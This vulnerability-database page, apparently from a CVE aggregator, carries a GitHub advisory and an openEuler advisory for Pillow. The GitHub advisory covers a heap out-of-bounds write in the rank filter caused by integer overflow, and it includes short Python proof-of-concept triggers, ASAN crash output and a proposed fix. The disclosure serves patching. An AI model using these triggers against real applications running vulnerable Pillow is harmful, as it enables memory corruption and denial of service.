return (Imaging)ImagingError_ValueError("filter size too large");
}
But those checks are reached only after RankFilter.filter() has already
called image.expand(...).
Mode "L" produces 1-byte OOB stores. Modes "I" and "F" produce 4-byte OOB
stores. The repeated value written OOB is copied from the source image border
pixel, so attacker-supplied image bytes can influence it. This is a sequential
overwrite, not an arbitrary-address write.
PoC
Minimal ASAN crash PoC:
from PIL import Image, ImageFilter
im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))
Observed on local Pillow 12.3.0.dev0 ASAN target:
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 1
ImagingExpand /out/src/src/libImaging/Filter.c:99
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 1-byte allocation
4-byte write variant with source pixel loaded from normal image bytes:
from io import BytesIO
from PIL import Image, ImageFilter
SIZE = 4294967295
PIXEL = 0x41424344
src = BytesIO()
Image.new("I", (3, 3), PIXEL).save(src, format="TIFF")
im = Image.open(BytesIO(src.getvalue()))
im.load()
assert im.mode == "I"
assert im.getpixel((0, 0)) == PIXEL
im.filter(ImageFilter.MedianFilter(SIZE))
Observed ASAN signature:
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 4
ImagingExpand /out/src/src/libImaging/Filter.c:101
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 4-byte allocation
Version checks:
Pillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public
validation order and unchecked ImagingExpand arithmetic
upstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected
Impact
It is a heap out-of-bounds write in Pillow's native C extension, reachable through public image-filter classes.
Applications are impacted if an untrusted user can control the rank-filter
size/configuration passed to Pillow. If the image is also attacker-supplied, the
source pixel value written out of bounds can be attacker-influenced, including
4-byte values for mode "I" images.
Possible fix
Validate the rank-filter size before calling image.expand(...), and harden
ImagingExpand() against invalid margins and overflow:
if (xmargin < 0 || ymargin < 0) {
return (Imaging)ImagingError_ValueError("bad kernel size");
}
if (xmargin > (INT_MAX - imIn->xsize) / 2 ||
ymargin > (INT_MAX - imIn->ysize) / 2) {
return (Imaging)ImagingError_ValueError("bad kernel size");
}
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Pillow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "12.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59197"
],
"database_specific": {
"cwe_ids": [
"CWE-190"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T23:08:58Z",
"nvd_published_at": "2026-07-14T17:17:14Z",
"severity": "HIGH"
},
"details": "### Summary\n\nPillow\u0027s public rank-filter API can trigger a native heap out-of-bounds write\nwhen given a very large odd filter size.\n\nMinimal public API trigger:\n\n```python\nfrom PIL import Image, ImageFilter\n\nim = Image.new(\"L\", (3, 3), 128)\nim.filter(ImageFilter.MedianFilter(4294967295))\n```\n\n`ImageFilter.RankFilter.filter()` calls `image.expand(size // 2, size // 2)`\nbefore rank-filter size validation. With `size = 4294967295`, the\nexpansion margin is `2147483647` (`INT_MAX`). `ImagingExpand()` then computes\nthe output dimensions with unchecked signed `int` arithmetic. On tested builds,\nthis wraps to a tiny output image and the border-expansion loop writes past the\nallocation.\n\nThis is reachable through documented public classes (`RankFilter`,\n`MedianFilter`, `MinFilter`, and `MaxFilter`). No private API, ctypes, or custom\nPython object is needed.\n\n### Details\n\nCurrent `src/PIL/ImageFilter.py`:\n\n```python\nclass RankFilter(Filter):\n def filter(self, image):\n if image.mode == \"P\":\n msg = \"cannot filter palette images\"\n raise ValueError(msg)\n image = image.expand(self.size // 2, self.size // 2)\n return image.rankfilter(self.size, self.rank)\n```\n\nThe `expand()` call is made before `image.rankfilter(...)`.\n\nCurrent `src/libImaging/Filter.c:ImagingExpand()` does not check output-size\noverflow:\n\n```c\nif (xmargin \u003c 0 \u0026\u0026 ymargin \u003c 0) {\n return (Imaging)ImagingError_ValueError(\"bad kernel size\");\n}\n\nimOut = ImagingNewDirty(\n imIn-\u003emode, imIn-\u003exsize + 2 * xmargin, imIn-\u003eysize + 2 * ymargin\n);\n```\n\nFor a `3x3` image and `xmargin = ymargin = INT_MAX`, the computed output size\nwraps to `1x1` on tested builds. The following loop still uses the huge margin:\n\n```c\nfor (x = 0; x \u003c xmargin; x++) {\n imOut-\u003eimage[yout][x] = imIn-\u003eimage[yin][0];\n}\n```\n\n`src/libImaging/RankFilter.c` does contain checks that would reject this size:\n\n```c\nif (!(size \u0026 1)) {\n return (Imaging)ImagingError_ValueError(\"bad filter size\");\n}\nif (size \u003e INT_MAX / size || size \u003e INT_MAX / (size * (int)sizeof(FLOAT32))) {\n return (Imaging)ImagingError_ValueError(\"filter size too large\");\n}\n```\n\nBut those checks are reached only after `RankFilter.filter()` has already\ncalled `image.expand(...)`.\n\nMode `\"L\"` produces 1-byte OOB stores. Modes `\"I\"` and `\"F\"` produce 4-byte OOB\nstores. The repeated value written OOB is copied from the source image border\npixel, so attacker-supplied image bytes can influence it. This is a sequential\noverwrite, not an arbitrary-address write.\n\n### PoC\n\nMinimal ASAN crash PoC:\n\n```python\nfrom PIL import Image, ImageFilter\n\nim = Image.new(\"L\", (3, 3), 128)\nim.filter(ImageFilter.MedianFilter(4294967295))\n```\n\nObserved on local Pillow `12.3.0.dev0` ASAN target:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 1\nImagingExpand /out/src/src/libImaging/Filter.c:99\n_expand_image /out/src/src/_imaging.c:1100\n0 bytes after a 1-byte allocation\n```\n\n4-byte write variant with source pixel loaded from normal image bytes:\n\n```python\nfrom io import BytesIO\nfrom PIL import Image, ImageFilter\n\nSIZE = 4294967295\nPIXEL = 0x41424344\n\nsrc = BytesIO()\nImage.new(\"I\", (3, 3), PIXEL).save(src, format=\"TIFF\")\n\nim = Image.open(BytesIO(src.getvalue()))\nim.load()\nassert im.mode == \"I\"\nassert im.getpixel((0, 0)) == PIXEL\n\nim.filter(ImageFilter.MedianFilter(SIZE))\n```\n\nObserved ASAN signature:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 4\nImagingExpand /out/src/src/libImaging/Filter.c:101\n_expand_image /out/src/src/_imaging.c:1100\n0 bytes after a 4-byte allocation\n```\n\nVersion checks:\n\n```text\nPillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime\nPillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime\nPillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public\n validation order and unchecked ImagingExpand arithmetic\nupstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected\n```\n\n### Impact\n\nIt is a heap out-of-bounds write in Pillow\u0027s native C extension, reachable\nthrough public image-filter classes.\n\nApplications are impacted if an untrusted user can control the rank-filter\nsize/configuration passed to Pillow. If the image is also attacker-supplied, the\nsource pixel value written out of bounds can be attacker-influenced, including\n4-byte values for mode `\"I\"` images.\n\n\n## Possible fix\n\nValidate the rank-filter size before calling `image.expand(...)`, and harden\n`ImagingExpand()` against invalid margins and overflow:\n\n```c\nif (xmargin \u003c 0 || ymargin \u003c 0) {\n return (Imaging)ImagingError_ValueError(\"bad kernel size\");\n}\nif (xmargin \u003e (INT_MAX - imIn-\u003exsize) / 2 ||\n ymargin \u003e (INT_MAX - imIn-\u003eysize) / 2) {\n return (Imaging)ImagingError_ValueError(\"bad kernel size\");\n}\n```",
"id": "GHSA-xj96-63gp-2gmr",
"modified": "2026-07-20T23:08:58Z",
"published": "2026-07-20T23:08:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59197"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/pull/9695"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/commit/cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1"
},
{
"type": "PACKAGE",
"url": "https://github.com/python-pillow/Pillow"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/releases/tag/12.3.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "Pillow: Heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`"
}
OESA-2026-3137 (CVE-2026-54059)
Vulnerability from osv_openeuler – Published: 2026-07-24 11:12 – Updated: 2026-08-06 11:12 – Source websitePillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift. of CVE-2022-22815,CVE-2022-22816)
Security Fix(es):
Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-54059)
Pillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0.(CVE-2026-54060)
Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-55379)
Pillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0.(CVE-2026-55380)
Pillow is a Python imaging library. Prior to 12.3.0, Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.(CVE-2026-59197)
Pillow is a Python imaging library. From 5.1.0 until 12.3.0, PdfParser.PdfStream.decode() in PIL/PdfParser.py calls zlib.decompress() with bufsize set to the PDF stream Length field without bounding the decompressed output size, allowing a crafted FlateDecode PDF stream to exhaust memory from a small file. This issue is fixed in version 12.3.0.(CVE-2026-59200)
Pillow is a Python imaging library. From 8.2.0 through 12.2.0, src/libImaging/Jpeg2KDecode.c accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile, allowing a crafted tiled JPEG2000 file to force substantially higher transient memory usage and trigger out-of-memory failures during decoding. This issue is fixed in version 12.3.0.(CVE-2026-59204)
| URL | Type | |||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"aarch64": [
"python-pillow-debuginfo-9.0.1-12.oe2003sp4.aarch64.rpm",
"python-pillow-debugsource-9.0.1-12.oe2003sp4.aarch64.rpm",
"python3-pillow-9.0.1-12.oe2003sp4.aarch64.rpm",
"python3-pillow-devel-9.0.1-12.oe2003sp4.aarch64.rpm",
"python3-pillow-qt-9.0.1-12.oe2003sp4.aarch64.rpm",
"python3-pillow-tk-9.0.1-12.oe2003sp4.aarch64.rpm"
],
"noarch": [
"python3-pillow-help-9.0.1-12.oe2003sp4.noarch.rpm"
],
"src": [
"python-pillow-9.0.1-12.oe2003sp4.src.rpm"
],
"x86_64": [
"python-pillow-debuginfo-9.0.1-12.oe2003sp4.x86_64.rpm",
"python-pillow-debugsource-9.0.1-12.oe2003sp4.x86_64.rpm",
"python3-pillow-9.0.1-12.oe2003sp4.x86_64.rpm",
"python3-pillow-devel-9.0.1-12.oe2003sp4.x86_64.rpm",
"python3-pillow-qt-9.0.1-12.oe2003sp4.x86_64.rpm",
"python3-pillow-tk-9.0.1-12.oe2003sp4.x86_64.rpm"
]
},
"package": {
"ecosystem": "openEuler:20.03-LTS-SP4",
"name": "python-pillow",
"purl": "pkg:rpm/openEuler/python-pillow\u0026distro=openEuler-20.03-LTS-SP4"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.0.1-12.oe2003sp4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"severity": "High"
},
"details": "Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \\ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift. of CVE-2022-22815,CVE-2022-22816)\r\n\r\nSecurity Fix(es):\n\nPillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-54059)\n\nPillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new(\u0026quot;1\u0026quot;, (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0.(CVE-2026-54060)\n\nPillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow\u0026apos;s documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-55379)\n\nPillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0.(CVE-2026-55380)\n\nPillow is a Python imaging library. Prior to 12.3.0, Pillow\u0026apos;s public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.(CVE-2026-59197)\n\nPillow is a Python imaging library. From 5.1.0 until 12.3.0, PdfParser.PdfStream.decode() in PIL/PdfParser.py calls zlib.decompress() with bufsize set to the PDF stream Length field without bounding the decompressed output size, allowing a crafted FlateDecode PDF stream to exhaust memory from a small file. This issue is fixed in version 12.3.0.(CVE-2026-59200)\n\nPillow is a Python imaging library. From 8.2.0 through 12.2.0, src/libImaging/Jpeg2KDecode.c accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile, allowing a crafted tiled JPEG2000 file to force substantially higher transient memory usage and trigger out-of-memory failures during decoding. This issue is fixed in version 12.3.0.(CVE-2026-59204)",
"id": "OESA-2026-3137",
"modified": "2026-08-06T11:12:01Z",
"published": "2026-07-24T11:12:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3137"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54059"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54060"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55379"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55380"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59197"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59200"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59204"
}
],
"schema_version": "1.7.2",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "python-pillow security update",
"upstream": [
"CVE-2026-54059",
"CVE-2026-54060",
"CVE-2026-55379",
"CVE-2026-55380",
"CVE-2026-59197",
"CVE-2026-59200",
"CVE-2026-59204"
]
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.